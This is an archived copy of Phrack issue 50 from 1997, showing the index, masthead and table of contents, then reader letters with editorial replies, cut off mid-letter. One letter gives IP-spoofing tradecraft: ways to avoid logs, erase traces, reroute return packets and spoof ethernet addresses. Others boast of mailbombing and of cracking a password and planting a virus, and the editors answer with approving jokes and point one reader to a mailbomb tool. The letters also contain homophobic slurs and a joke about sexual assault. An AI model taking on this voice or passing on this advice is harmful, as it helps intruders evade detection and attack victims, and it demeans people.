home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Textfiles / zines / Phrack / Phrack Issue 50.sit / Phrack Issue 50 next >
Text File  |  1997-06-06  |  515KB  |  13,897 lines

  1.                                 .oO Phrack 50 Oo.
  2.  
  3.                             Volume Seven, Issue Fifty
  4.  
  5.                                       1 of 16
  6.  
  7.                                   Issue 50 Index
  8.                                ____________________
  9.  
  10.                                  P H R A C K   5 0
  11.  
  12.                                   April 09, 1997
  13.                                ____________________
  14.                             
  15.                                 "The Perfect Drug"
  16.  
  17.  
  18. START the fireworks...
  19. ALERT the mass media...
  20. CUE up the Axel-F Beverley Hills Cop music...
  21. AND FOR THE LOVE OF GOD, SOMEONE NOTIFY MITCH KABAY...! 
  22.  
  23.                                 Phrack 50 is here.
  24.  
  25. To celebrate this landmark event, for a limited time, we are offering *all*
  26. Phrack issues (including this one) at a special "WE-MUST-BE-OUT-OF-OUR-MINDS"
  27. rate of HALF-PRICE!!  That's right!  Now you can enjoy Phrack for 50% off
  28. the standard price of free!  Now you can enjoy your favorite electronic
  29. zine and still have enough money left over to get those breast implants! 
  30.  
  31. <SOAPBOX>
  32.  
  33. It seems, in recent months, the mass media has finally caught onto what we 
  34. have known all along, computer security _IS_ in fact important.  Barely a
  35. week goes by that a new vulnerability of some sort doesn't pop up on CNN.
  36. But the one thing people still don't seem to fathom is that _WE_ are the
  37. ones that care about security the most...  We aren't the ones that the
  38. corporations and governments should worry about...  We are not the enemy.
  39.  
  40. Phrack is often described by the mass media as an 'Underground Hacker's Zine'
  41. run by `irresponsible` youths.  Compare Phrack's distribution with that of
  42. the security publications that charge just enough money to keep students
  43. and interested outsiders from reading it...  Then decide who is  
  44. `irresponsible`.  Phrack is often criticized by professionals as giving away 
  45. tools to people who aren't responsible enough to use them.  The fact is, we 
  46. are giving away tools to people who aren't rich enough to buy them.
  47.  
  48. The parallels between Internet packet sniffing and phone wire tapping are
  49. enormous.  The abuses of wire tapping by government agencies are well 
  50. documented.  Not so well documented, however, are similar abuses by these same
  51. agencies across key Internet access points.  This is just another classic 
  52. example of the Government trying to assert complete control.  The Internet is,
  53. however, anarchistic by nature and dynamic by design.  It resists all attempts
  54. at governing and all attempts at control.  
  55.  
  56. By providing a public compendium of the same knowledge, information and 
  57. resources that all the money in the world can buy, we help ensure that the 
  58. Internet will remain safe with the individual.  Knowledge is not power.  
  59. Knowledge is _empowerment_.
  60.  
  61. </SOAPBOX>
  62.  
  63. This issue contains a great deal of C source code.  Somewhere in the
  64. neighborhood of 5000 lines of C source.  To facilitate painless extraction
  65. of the code and support files into an arbitrarily designated hierarchical
  66. directory structure and still maintaining readability while in `zine`
  67. format, we developed a custom extraction utility. (Good lord that was a
  68. long sentence...)  Article 16 contains the source for extract.c, instructions
  69. for compilation and use can be found therein.
  70.  
  71. ---------------------------------------------------------------------------
  72.  
  73.  
  74. Enjoy the magazine.  It is for and by the hacking community.  Period.
  75.  
  76.    
  77.                 Editors : daemon9[route], Datastream Cowboy
  78.            Asst. Editor : Alhambra (appears courtesy of the guild corp.)
  79.                  On ice : Voyager
  80.                 Mailboy : Erik Bloodaxe
  81.                    News : Alhambra, disorder
  82.                Elite : snocrash
  83.              Best Coast : Left Coast
  84.                 Fatstar : loadammo
  85.                Thinstar : nirva
  86.           SPOOOOOOOOON! : sirsyko
  87. Rocks the Fucking House : 16 Volt
  88.             Bad at pool : the NSA
  89.    Tip o' the black hat : omerta
  90.            Birthday Boy : loki
  91.              GET A LIFE : All you jennicam losers. (jennicam.simplenet.com)
  92. Shout outs / Thank yous : mudge (cos he just plain rules), the Guild and
  93.                           r00t, pyro, blaboo, o0, halflife, nihil (for
  94.                           dealing with my daily whining, working 6848 hours
  95.                           a week, and *still* providing the kickass article),
  96.                           alhambra (for coming through in a big way for Phrack 
  97.                           when other people let us down), mycroft (fruitbat),
  98.                           Juliet (cookies)
  99.  
  100. Phrack Magazine V. 7, #50, April 09, 1997.   
  101. Contents Copyright (c) 1996/7 Phrack Magazine. All Rights Reserved.  Nothing 
  102. may be reproduced in whole or in part without written permission from the
  103. editors.  Phrack Magazine is made available quarterly to the public, free of 
  104. charge.  Go nuts people.  
  105.  
  106. Subscription requests, articles, comments, whatever should be directed to:
  107.  
  108.                 phrackedit@infonexus.com      
  109.  
  110. Submissions to the above email address may be encrypted with the following 
  111. key (note this is a REALLY NEW key, we promise not to lose it this time): 
  112.  
  113. -----BEGIN PGP PUBLIC KEY BLOCK-----
  114. Version: 2.6.2
  115.  
  116. mQENAzMgU6YAAAEH/1/Kc1KrcUIyL5RBEVeD82JM9skWn60HBzy25FvR6QRYF8uW
  117. ibPDuf3ecgGezQHM0/bDuQfxeOXDihqXQNZzXf02RuS/Au0yiILKqGGfqxxP88/O
  118. vgEDrxu4vKpHBMYTE/Gh6u8QtcqfPYkrfFzJADzPEnPI7zw7ACAnXM5F+8+elt2j
  119. 0njg68iA8ms7W5f0AOcRXEXfCznxVTk470JAIsx76+2aPs9mpIFOB2f8u7xPKg+W
  120. DDJ2wTS1vXzPsmsGJt1UypmitKBQYvJrrsLtTQ9FRavflvCpCWKiwCGIngIKt3yG
  121. /v/uQb3qagZ3kiYr3nUJ+ULklSwej+lrReIdqYEABRG0D1BocmFjayBNYWdhemlu
  122. ZQ==
  123. =sdwc
  124. -----END PGP PUBLIC KEY BLOCK-----
  125.                                     
  126.     ENCRYPTED SUBSCRIPTION REQUESTS WILL BE IGNORED
  127.  
  128. Phrack goes out plaintext...  You certainly can subscribe in plaintext
  129.  
  130.  
  131.                 .oO Phrack 50 Oo.
  132.           -------------------------------------
  133.                Table Of Contents
  134.         
  135.  1. Introduction                                       ... Phrack Staff   9K
  136.  2. Phrack Loopback                       ... Phrack Staff  60K
  137.  3. Line Noise                               ... various       72K 
  138.  4. Phrack Prophile on Aleph1                          ... Phrack Staff   7K
  139.  5. Linux TTY hijacking                                ... halflife      15K
  140.  6. Juggernaut                                         ... route        123K
  141.  7. SNMP insecurities                                  ... Alhambra      20K
  142.  8. Cracking NT Passwords                              ... Nihil         17K
  143.  9. SS7 Diverter plans                                 ... Mastermind    27K
  144. 10. Skytel Paging and Voicemail                        ... pbxPhreak     36K
  145. 11. Hardwire Interfacing under Linux                   ... Professor     11K
  146. 12. PC Application Level Security                      ... Sideshow Bob  21K
  147. 13. DTMF signalling and decoding                       ... Mr. Blue      17K
  148. 14. DCO Operating System                               ... mrnobody      16K
  149. 15. Phrack World News                                  ... Alhambra     110K
  150. 16. extract.c                                          ... Phrack Staff   2K
  151.  
  152.                                                                         523k
  153.  
  154.           -------------------------------------
  155.  
  156.  
  157. Every article in Phrack is written free of charge, for and by the hacking
  158. community.  If you are a hack, phreak, student, professor, professional,
  159. or even a loser with an idea and you have some knowledge or information
  160. you would like to empart, there are thousands of readers who would love 
  161. nothing more than to learn from you.  If you want to submit something 
  162. anonymously, it will stay anonymous, if you want attributation, feel free to 
  163. use your real name or a psuedonym.  The deadline for submissions to Phrack 51 is
  164. July 25th, 1997, but the earlier the better.  If you are planning on writing an
  165. article we'd like to hear from you as soon as possible.  
  166.  
  167. If you don't think you are going to be able to write an article, but you have
  168. some comments about Phrack, commentary about the hacking world, funny stories,
  169. exploits, news items, or just want to tell us about the government site you
  170. just hacked (PGP'd and through an anonymous remailer PLEASE), we love getting
  171. mail.  PGP key and e-mail address are above. 
  172.  
  173.  
  174.                  -------------------------------------
  175.  
  176.    
  177. " *pyro* phrack is my faith and the e-zine is my bible, you are one of my 
  178.          high priests! "
  179.                        - Some IRC zealot 
  180.  
  181. " ...r00t and the guild.... Like peanut-butter and jelly -- you could have 
  182.   one without the other, but *why* would you want to...? "
  183.                           - route
  184.  
  185. EOF
  186.                                 .oO Phrack 50 Oo.
  187.  
  188.                             Volume Seven, Issue Fifty
  189.  
  190.                                      2 of 16
  191.  
  192.                                  Phrack Loopback
  193.  
  194. -----------------------------------------------------------------------------
  195.   
  196.  
  197. Hi,
  198.           I have a story of violations of freespeech and censorship and
  199. if I am busted unjustly, please publish this story to the public.
  200. Yesterday some faggot e-mailed me with a ton of ascii crap that
  201. took me an hour + to DL.  WHen I finished DLing it, windoze stalled and I
  202. had to restart..  So  naturally I was pissed off.  The reason this guy
  203. said he did this was because I posted a cheat program for the game
  204. Diablo on my webpage and he doesn't like cheaters.  Today he e-mailed me 
  205. again with ascii crap.....I was beyond pissed....so I did what anyone in 
  206. my position would do....Imailbombed him ... about 600 msg's or so.  
  207. I used Kaboom3 and an SMTP I thought (Looked like it from port 25) was 
  208. anonymous and untraceable.
  209.        As it turns out, 2 hours later the head of security at Earthlink
  210. (my current ISP) called and said that someone from my account had e-mail
  211. bombed this person. The security guy said that the person I bombed
  212. complained to his ISP because it "put out his business for hours." His
  213. ISP traced it to Earthlink and then to me, by contacting the earthlink
  214. security guy and having him look in the logs for who was connected to
  215. the ip (dynamic) they saw in the bomb messages at the time the bombing       
  216. occurred. He also said that the guy I bombed called the FBI and got them
  217. involved in it. Is this sounding fucking ridiculous yet?  First of all,
  218. any reputable business presumably has a better-than-28.8 connection,
  219. which means it would have taken this guy a couple seconds to DL my bomb.
  220. Secondly, even if he doesn't have a T-1, at 28.8 it would take 2 hours
  221. or so, maybe less.  But the FBI is involved.....   I can't fucking
  222. believe it!  So naturally the first thing I do is e-mail all the
  223. reputable hackz known to me.  This is ridiculous, this is
  224. oppressive, this is BIG BROTHER!
  225.  
  226.                                            Yours,
  227.                                        GrEeNbEaSt
  228.  
  229.  
  230. [ So, what exactly is it that you want us to do, besides burst into fits
  231. of uncontrollable for several minutes at a time? ]
  232.  
  233. -----------------------------------------------------------------------------
  234.  
  235.  
  236. Hey, in phrack 48, the article on IP spoofing says you need to sample to
  237. TCP sequence numbers of the host you are attacking.  The method is
  238. suggests is to connect via SMTP and then drop the connection.  There is
  239. a problem with this - sendmail usually logs failed mail transfers, so
  240. the host will probably be able to correlate this with the time of the
  241. attack and find out who you are.  Further, this connection must be done
  242. from a non-spoofed IP address to guarantee you get a returned packet.
  243. There are two options available here:
  244.  
  245. 1) Forge the sequence sampling connection as another host on your subnet
  246. (although if they contact your provider and your provider logs massive
  247. data, you're busted - also this will not work if the local network uses
  248. an active hub)
  249.  
  250. 2) Make sure to remove these traces if you manage to crack the machine -
  251. this is all or nothing - if you fail to crack it, but left indicators of
  252. an attack, you are screwed. (again only if your provider logs heavily)
  253.  
  254. If you want to circumvent these dangers altogether, simply sample the
  255. sequence numbers from some highly non-logging port.  The standard inetd
  256. server for UNIX runs a TCP echo, discard and chargen service, which you
  257. can get sequence numbers from, and does not log anything.
  258.  
  259. There are two complications to this attack which are becoming
  260. increasingly used, and which effectively prevent it.
  261.  
  262. 1)  Some providers do not allow foreign IP addresses to go out of their
  263. subnet as source IP addresses - this is done through router blocking.
  264. Most sites just don't give a damn or are too stupid to figure out how to
  265. do it, but the number of providers doing this is increasing.  You could
  266. try to hack their router - easy to find, do a traceroute, but chances of
  267. success are slim if it doesn't allow remote logins.  Also, your ISP will
  268. know if this happens, and may take additional precautions immediately
  269. (such as grabbing your ethernet address if you are on a local network -
  270. then you are f!!ked)  We don't want any minors reading this to see any
  271. offensive words, do we - oh lord, they might even ban phrack in the
  272. state of Texas.  No offense to anyone from Tx unless they deserve it.
  273.  
  274. 2)  Some OS's use pseudo-random number generators to create TCP sequence
  275. numbers at the beginning of each connection.  This is easy to do under
  276. Linux, and I think some commercial OS's might even be doing this now
  277. (anyone have confirmation of the rumor that Solaris now does this?)
  278. Now, this is easy to check for - connect twice in immediate succession
  279. and see if you get two sequential (or close) numbers.  However, a
  280. workaround for this would be to generate pseudo-random sequence numbers
  281. for the first connection from a given IP address (and then again when
  282. the IP layer no longer has any knowledge of this IP address)  If a site
  283. was running non-crypto pseudo-random sequences, it would be possible to
  284. analyze it using a spectral test to try to predict sequence numbers, but
  285. if they use a cryptographically secure sequence generator, you would
  286. have to break it (probably not too hard since any highly secure crypto
  287. sequence would make IP response time unreasonably slow)  A
  288. counter-solution to this would be to generate random numbers in low cpu
  289. load time, and have a buffer of them for later use.  Here, we could
  290. probably go on forever with attacks and countermeasures, so lets stop
  291. now, as a cure for sanity.
  292.  
  293. As an aside note for the highly paranoid:  ethernet spoofing
  294.  
  295. Note: some of this is theorized, and might not be 100% accurate - if you
  296. get the jist of it, you should be able to figure out if it works for
  297. you.
  298.  
  299. It is possible to spoof ethernet hardware addresses as well.  Some cards
  300. will allow you to do this easily, but you need to have card programming
  301. docs (check the Linux kernel source for your card driver-!!).  Others
  302. won't let you do it at all, and require a ROM change, or worse it might
  303. be solid state logic on the card - EVIL.  Course you might be able to
  304. get around solid state stuff by recoding the ROM, but I wouldn't
  305. recommend it unless you don't have the $70 to buy a new card, and have a
  306. month or two to spend in the basement.
  307.  
  308. If you make up an ethernet address, you should probably use a real card
  309. identifier (the first three bytes).  This is because some sniffing
  310. software raises warning flags when unknown card identifiers pop up, and
  311. this software is run by more network admins than I'd like to think.
  312.  
  313. Some new hub technologies may limit this type of spoofing- most notably,
  314. active hubs wouldn't allow it at all.  Other new hub designs use
  315. mappings of ethernet address to specific ports on the hub, so you might
  316. not be able to change the address without turning off the machine,
  317. waiting for the hub to time out the address, and rebooting.
  318.  
  319. Ethernet hardware address spoofing will make a machine completely
  320. undetectable, provided it is not the only machine on a network that is
  321. being monitored.
  322.  
  323. There may be a way around active hubs, and this is multicast ethernet
  324. addresses.  Any network card capable of multicast should be able to send
  325. packets with an ethernet multicast address.  This address is not
  326. specific to each card, as many cards can send and receive on the same
  327. multicast address.  The problem here is router and hub technology may
  328. have already advanced to the point where it can distinguish multicast
  329. ethernet addresses and convert them to multicast IP addresses, which
  330. would not allow you to spoof.  This is only theoretical - I haven't
  331. tried it, don't know anyone who has, and have never even heard rumors
  332. about it.
  333.  
  334. Note : this information is in no means comprehensive - I don't have the
  335. time or resources to study it, but most likely results in ethernet
  336. spoofing vary by the manufacturers of the network hardware all the way
  337. down the local line - (i.e - ethernet card all the way to the first
  338. gateway)
  339.  
  340. Another aside: return path rerouting
  341.  
  342. In return path rerouting, the IP spoofing attack follows the same
  343. general principal, except that the attacking machine gets reply packets,
  344. and does not need to operate blind.  There are three ways to make this
  345. work:
  346.  
  347. 1)  Pretending to be a trusted host on your subnet
  348.     Easy, just pick up packets destined for the trusted machine which
  349.     look like responses to your forged packets, and send on their IP
  350.     address, and SYN flood their machine.  This will even work past
  351.     blocking ISP's
  352.  
  353. 2)  Source routing attack
  354.     Medium difficulty, you have to construct a path between your machine
  355.     and the target, and a path between your machine and the trusted host
  356.     (although the last part can be made up).  Use this and either the
  357.     strict or loose IP routing option, and all packets will come back to=20
  358.     you.  This will not work nearly as much, since many hosts and=20
  359.     routers discard source routed packets (it is a well-known flaw in=20
  360.      TCP/IP now).  However, mightn't buggy implementations only discard
  361.     one type of source routing?
  362.  
  363. 3)  Experimental - ICMP redirect attack
  364.     Try using ICMP redirects to redirect the packets back to the=20
  365.     attacking machine.  ICMP redirects should only be accepted to=20
  366.     machines on a local subnet, but buggy implementations might not do
  367.     this correctly (actually, I think the Host Requirements RFC says=20
  368.     this is recommended, not required).  Also, it may be possible to   =20
  369.     create a path using redirects or forged routing updates to direct
  370.     traffic to a trusted site back to the attacking site.  After the
  371.     attack, the routing information could be repaired, making it seem
  372.     like a temporary network failure.  If anyone followed this and knows
  373.     what I mean, let me know if you think it's possible.    =20
  374.  
  375. Thanks
  376.  
  377. Zach
  378.  
  379. [ Zach, you have good ideas and points.  Now, why haven't YOU written
  380.   an article for Phrack???
  381.  
  382.   You should...<hint><hint> ]
  383.  
  384. -----------------------------------------------------------------------------
  385.  
  386. DEATH TO THE INNOCENT
  387.  
  388.  
  389.  I WENT TO A PARTY, MOM, I REMBERED WHAT YOU SAID.
  390.  YOU TOLD ME NOT TO DRINK, MOM, SO I DRANK SODA INSTEAD.
  391.  I REALLY FELT PROUD INSIDE, MOM, THE WAY YOU SAID I WOULD.
  392.  I DIDN'T DRINK AND DRIVE, MOM, THOUGH THE OTHERS SAID I SHOULD.
  393.  I KNOW I DID THE RIGHT THING, MOM, I KNOW YOUR ALWAYS RIGHT.
  394.  NOW THE PARTY IS ENDING, MOM, AS EVERONE IS DRIVING OUT OF SIGHT.
  395.  
  396.  AS I GOT INTO MY CAR, MOM, I KNEW I'D GET HOME IN ONE PIECE.
  397.  BECAUSE OF THE WAY YOU RAISED ME, SO RESPONSIBLE AND SWEET.
  398.  I STARTED DRIVING AWAY, MOM, BUT AS I PULLED INTO THE ROAD,
  399.  THE OTHER CAR DIDN'T SEE ME, MOM, AND HIT ME LIKE A LOAD.
  400.  AS I LAY HERE ON THE PAVEMENT, MOM, I HEAR THE POLICE MAN SAY,
  401.  THE OTHER GUY IS DRUNK, MOM, AND NOW I'M THE ONE WHO WILL PAY.
  402.  I'M LYING HERE DYING. MOM, I WISH YOU'D GET HERE SOON.
  403.  
  404.  HOW COULD THIS HAPPEN TO ME, MOM? MY LIFE JUST BURST LIKE A BALLOON.
  405.  THERE IS BLOOD ALL AROUND ME, MOM, AND MOST OF IT IS MINE.
  406.  I HEAR THE MEDIC SAY, MOM, I'LL DIE IN A SHORT TIME.
  407.  I JUST WANTED TO TELL YOU, MOM, I SWEAR I DIDN'T DRINK.
  408.  IT WAS THE OTHERS, MOM. THE OTHERS DID NOT THINK.
  409.  HE WAS PROBIBLY AT THE SAME PARTY AS I.
  410.  THE ONLY DIFFERENCE IS, HE DRANK AND I WILL DIE.
  411.  
  412.  WHY DO PEOPLE DRINK, MOM? IT CAN RUIN YOUR HOLE LIFE.
  413.  I'M FEELING SHARP PAINS NOW. PAINS JUST LIKE A KNIFE.
  414.  THE GUY WHO HIT ME IS WALKING, MOM, AND I DON'T THINK IT'S FAIR.
  415.  I'M LYING HERE DYING AND ALL HE CAN DO IS STARE.
  416.  
  417.  TELL MY BROTHER NOT TO CRY MOM, TELL DADDY TO BE BRAVE.
  418.  AND WHEN I GO TO HEAVEN, MOM, PUT DADDY'S GIRL ON MY GRAVE.
  419.  SOMEONE SHOUYLD HAVE TOLD HIM, MOM, NOT TO DRINK AND DRIVE.
  420.  IF ONLY THEY HAD TOLD HIM, MOM, I WOULD STILL BE ALIVE.
  421.  
  422.  MY BREATH IS GETTING SHORTER, MOM. I'M BECOMING VERY SCARED.
  423.  PLEASE DON'T CRY FOR ME, MOM, WHEN I NEEDED YOU, YOU WERE ALWAYS THERE.
  424.  I HAVE ONE LAST QUESTION, MOM, BEFORE I SAY GOODBYE.
  425.  I DIDN'T DRINK AND DRIVE, MOM, SO WHY AM I THE ONE TO DIE?
  426.  
  427. [ Interesting...booze, violence.  Now, if only this little story had
  428.   some forced sodomy of teenage schoolgirls...
  429.  
  430.   Man, I have no shame...drinking and driving is evil, and will get you
  431.   shot in Central America for attempted homicide.  That's why I take
  432.   cabs or hang around with 12-steppers or mormons.  Either way, it gives
  433.   you someone to subject to your drunken ravings.
  434.  
  435.   Now why this was sent to Phrack, I have no idea.  ]
  436.  
  437. -----------------------------------------------------------------------------
  438.  
  439. I just have one question, i just moved back down to Texas from NY,,,
  440. is there any one at phrack that knows local BBS numbers for san antonio???
  441.  
  442. thanx for the help,
  443.  
  444. [In almost any city with running water and electricity (and yes,
  445.  even San Antonio qualifies as of this writing), in any local computer
  446.  store you will find local compu-nerd publications.  I think in San Antonio
  447.  its "Computer User."  In any case, in the back are usually listings of
  448.  local bulletin boards.  Start with these, and eventually you will come
  449.  across the kinds of bulletin boards you really want. ]
  450.  
  451. -----------------------------------------------------------------------------
  452.  
  453. The trial of the Danes arrested in the article I wrote in #47 has now
  454. ended. No jail sentences, just community service up to 200 hours (me)
  455. and a fine of 30.000Dkr. (apx. $5000).
  456.  
  457. Anyway, remember I wrote you about the article being quoted and
  458. translated to Danish in a Danish magazine? Well, after the same magazine
  459. published our REAL names, adrs with the advice not to hire us for any
  460. jobs I got pretty sick of them and sent them a bill of DKr 5000, billing
  461. them for my article.=20
  462.  
  463. Of course, they won't pay me (would rather go to court) so now I'm
  464. considering taking them on their word. The company I'd be going after
  465. is a daughtercompany of Coopers & Lybrand and is called Institute of
  466. Datasecurity. Most of their employees seem to be notorious idiots, always
  467. proclaiming themselves in the media with the anecdotes of yesterday. They
  468. even gave out an award (money) to the DA who prosecuted us for doing
  469. a nice job!=20
  470.  
  471. Well, since they didn't only violate my personal copyright but also the
  472. restrictions of Phrack Magazine itself, I wanted to know if I could get
  473. your support?  Just some kind of written statement about the policy of
  474. the magazine, whether or not they paid you for it, etc.
  475.  
  476. In a hurry, dont mind the mistakes,
  477.  
  478. Le Cerveau
  479.  
  480. [ Can you please send a photocopy of that article to us at the Phrack
  481.   mailing address?  Maybe we can help.
  482.  
  483.   I really don't have much respect for the accounting firms "computer
  484.   security" teams, and never have.  In the years they've been doing this
  485.   work, they STILL don't get it.
  486.  
  487.   It's too bad you aren't in America.  You could probably sue the living=
  488.  hell
  489.   out of everyone involved, if they really did publish your names
  490.   and advise people not to hire you for work.  ]
  491.  
  492. -----------------------------------------------------------------------------
  493.  
  494. HEY Whats up,
  495. I was wondering if U could tell me how to e-mail bomb Please!!!!=20
  496.  
  497. [No, that's a stupid thing to do.
  498.  
  499.  But, if you insist....
  500.  
  501.  Go do a WWW search for the program "UpYours"  This should
  502.  suit your needs just fine. ]
  503.  
  504. -----------------------------------------------------------------------------
  505.  
  506. Hello,
  507.  
  508. I was wondering if you know where i can get copies of "The Journal of
  509. Privileged Information"? I have issues 1-5, and i`m looking for 6 -
  510. present. If you know where i can get them, it would be greatly
  511. appriciated!! thanx
  512.  
  513. techcode
  514.  
  515. [ I'm not really familiar with this magazine, but if anyone out there
  516.   has copies of this, email us with information on where to get more. ]
  517.  
  518. -----------------------------------------------------------------------------
  519.  
  520. Dear Phrack,
  521.  
  522. Great job on issue 49.  I enjoyed the section in Line Noise about ID
  523. machine hacking.  Anyway, I wanted to say that Phrack rules; it is by
  524. far my favorite computer hobbyist magazine.  By the way, I remember reading=
  525.  a
  526. letter that a reader sent in, about some queer selling bound volumes of=
  527.  Phrack,
  528. LOD Tech Journals, and virus source code.  A similar occurance happended to
  529. me when I found that some wannabe-elite pseudo-hacker was selling printed
  530. copies of Phrack, 40 Hex, Digital Free Press, and Xeroxed copies of=
  531.  alt.2600.
  532. I was curious, to say the least, and felt compelled to defend the honor of
  533. those aforementioned publications.  I talked to the fag, and I gained his
  534. trust by using undecipherable hacker jargon that he seemed awed by.  It=
  535.  turns
  536. out that he had been distributing pirated junk on his PC, using an=
  537.  unregistered
  538. copy of Serv-U.  I gave him a registration crack, and in return he gave me=
  539.  an
  540. account on his machine, so I could download his warez.  I logged on to
  541. his PC one day, and I quickly found the serv-u.ini file with the encrypted
  542. passwords.
  543.  
  544. Since Serv-U uses Unix style encryption, I cracked his personal account
  545. in about 17 minutes.  He kept a TCP/IP connection open from 4pm to 11pm
  546. every evening, and I logged on as him one day.  I uploaded a virus to the
  547. windows system directory and renamed it something benign, and then I edited
  548. his autoexec.bat to execute it (I also used Fixtime from the Nowhere
  549. Utilities 2.0 to make it smooth).  I haven't heard from him since.  That
  550. one was a simple job to protect the rights of cool magazines like Phrack!
  551.  
  552. Take it easy, and keep the issues coming.
  553.  
  554. dethbug
  555.  
  556. [ If only all readers were as loyal.  Or better yet, if only all readers
  557.   sent us a dollar!
  558.  
  559.   Seriously though...a virus was a bit much, but since we weren't there
  560.   to sue to protect our copyright...
  561.  
  562.   But uh, let it be known that you were not directed by, nor acting as an
  563.   agent of Phrack Magazine, and any and all such behavior was done
  564.   purely on your own behalf.  :)  ]
  565.  
  566. -----------------------------------------------------------------------------
  567.  
  568. Does this cost anything ?=20
  569. LORDCYBRON
  570.  
  571. [ Unfortunately it does, but only your mortal soul. ]
  572.  
  573. -----------------------------------------------------------------------------
  574.  
  575. Phrack,
  576.  
  577. We would like permission to republished Chris Goggans'
  578. (Erik Bloodaxe) editorials from issue 4.42 to issue
  579. 7.48 in Node9: An E-Journal of Writing and Technology.
  580.  
  581. http://node9.phil3.uni-freiburg.de
  582.  
  583. There is a lot of interest in hacker culture in
  584. cultural studies, and Chris Goggans' editorials give
  585. a good snapshot of the hacker's side of the from
  586. last three years.=20
  587.  
  588. We could tell our readers to simply go to Phrack and get
  589. the editorials themselves, but putting the editorials
  590. together makes them more effective. Plus, for many of
  591. our readers, a number of names, terms, events need to
  592. be annotated.
  593.  
  594. Jon Adams=20
  595.  
  596. [ Well Jon, Phrack has always had a policy of letting people reprint
  597.   articles / editorials / whatever as long as all pieces remain
  598.   intact with all credit given to the original author and to Phrack
  599.   Magazine.  If you can do that, feel free to use the editorials. ]
  600.  
  601. -----------------------------------------------------------------------------
  602.  
  603. Hi Hackers
  604. =3D=3D=3D=3D=3D=3D=3D=3D=3D=3D
  605.  
  606. I have only one question for you, please answer me. I read in your magazine
  607.  
  608. >                              =3D=3DPhrack Magazine=3D=3D
  609. >
  610. >                 Volume Seven, Issue Forty-Eight, File 10 of 18
  611. >
  612. >              Electronic Telephone Cards: How to make your own!
  613. >              ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
  614.  
  615. Its very excelent for people who live in country when used the cards from=20
  616. Gemplus, Solaic, Schlumberger, Oberthur: (French cards 256 bit). But I live=
  617.  in=20
  618. Slovak Republic and in this country we use The cards from ODS, Giesecke &=20
  619. Devrient, ORGA Karten systeme, Uniqua, Gemplus, Schlumberger and Oldenbourg=
  620. =20
  621. Kartensysteme (German cards 128 bit).
  622.  
  623. I am was reading in some paper that some people have emulator of these=20
  624. telephone cards (German card). Emulator with PIC procesor.
  625.  
  626. But I very very long time searching Internet and I have not information how=
  627. =20
  628. I make this emulator. Only in your magazine I found help how I make=20
  629. emulator but emulator which emulate french telephone card but I need=20
  630. emulator which emulate german telephone card.
  631.  
  632. Please help me if You know some adress where I can find information=20
  633. HOW I MAKE TELEPHONE CARD EMULATOR (WITH PIC PROCESSOR) WHICH EMULATE=20
  634. TELEPHONE CARD TYPE GERMAN TELEPHONE CARD (128 BITS).
  635.  
  636. Thanks very much, for your answer. realllly thanks, i am waiiiiting.
  637.  
  638. !!!!!  M A X O  !!!!!
  639.  
  640. [ Actually, we don't but perhaps this request will bring in some
  641.   information from people in Germany.  ]
  642.  
  643. -----------------------------------------------------------------------------
  644.  
  645.  
  646. Can you please send me some hacker stuff that I can use on AOL.
  647.  
  648. THANX
  649.  
  650. [ The most important tool a hacker can have is a brain.  Unfortunately,
  651.   since you are on AOL, it appears that your tool box is empty.  Perhaps
  652.   you'd be more interested in some cool beavis & butthead .WAV files... ]
  653.  
  654. ----------------------------------------------------------------
  655.  
  656. Looking for talented hackers for special projects.
  657. First project concerns breaking source code.  Please respond.
  658.  
  659. Justin Raprager=20
  660. <adamas@raprager.com>
  661.  
  662. [ You probably can't afford any of us on the Phrack Staff.
  663.   Your request is being passed on the the readers.  ]
  664.  
  665. -----------------------------------------------------------------------------
  666.  
  667.      Is your web site the best kept secret on the Internet?
  668.  
  669.      We'll promote it to 50 search engines and indexes for $85
  670.      and complete the job in 2 business days.  Satisfaction is
  671.      guaranteed!
  672.  
  673.    Owl's Eye Productions, Inc.
  674.    260 E. Main Street
  675.    Brewster, NY 10509
  676.    Phone: (914) 278-4933
  677.    Fax:     (914) 278-4507
  678.    Email: owl@owlsnest.com
  679.  
  680. [ Now, if our site is a secret, then how did you morons know about us?
  681.   I think a better sales pitch is:
  682.  
  683.   "Is your Web Site Secure?"
  684.  
  685.   We'll give your info to several million hackers for FREE who will be
  686.   sure to subject it to an extesive battery of security testing ranging
  687.   from exploitation of remote security vulnerabilties to denial of service
  688.   attacks.  Your site will be profiled continuously for months until
  689.   people grow tired of causing you grief.
  690.  
  691.   Would Owl's Eye Productions, Inc. care to be the first for this
  692.   amazing new service?  Let us know.  ]
  693.  
  694. -----------------------------------------------------------------------------
  695.  
  696. From: Ray Wardell <ray.wardell@novix.com>
  697. To: phrack@well.com
  698. Subject: FUCK YOU
  699.  
  700. FUCK YOU ... YOU DUMB ASS SHIT HEAD... FUCK WITH ME AND DIE...
  701.  
  702. [ Uh, ok. ]
  703.  
  704.  
  705. -----------------------------------------------------------------------------
  706.  
  707.  
  708. Hi, I would like to become a hacker. I just watched that movie HACKERS. It
  709. got me all siked up. If you could give me some information on how to
  710. become one, I would be apreciative.
  711.  
  712. [ So if you had watched "Buttman Goes To Budapest" then Stagliano would
  713.   be getting this email instead of Phrack?
  714.  
  715.   Dude...it was only a movie.  And a bad one at that. ]
  716.  
  717. -----------------------------------------------------------------------------
  718.  
  719. Hi there !
  720.  
  721. Your article of the PIC16C84-Phonecard includes a uuencoded part
  722. that contains the file "telecard.zip". telecard.zip contains the file
  723. telecard.pcb which was created with Tango PCB Series 2.
  724. My version of Accel Tango PCB Version 12 is not able to read this file.
  725. So, I want to ask you, if its possible to send me this file in ASCII-Format
  726. or (better) in a graphic-format like PCX or GIF.
  727. A HP-Laserjet-prn-viewer would be useful, too.
  728. I was also not able to read the schematic-file. Maybe you know a
  729. location on the internet where I can get an evaluation version of the
  730. older version of Tango PCB Series II.
  731.  
  732. [ Actually, we've got the same problem here at Phrack.  Anyone out there
  733.   who can help, please send us email and we'll get it out to the
  734.   masses! ]
  735.  
  736. -----------------------------------------------------------------------------
  737.  
  738. Hi my name is Konrad. I live in Ottawa, Onratio (Canada). I have a
  739. question about one thing. When I download a trial program from internet,
  740. it is only good for 30 days, and when it expires it writes that, to some
  741. file so I tried reinsalling and redownloading the program, but when I
  742. tried to run it, it gave me a message that this version is expired and
  743. that I have to purchase the program. Do you know, to what file it
  744. registers that it has expired, and how to disable it. If you don't know
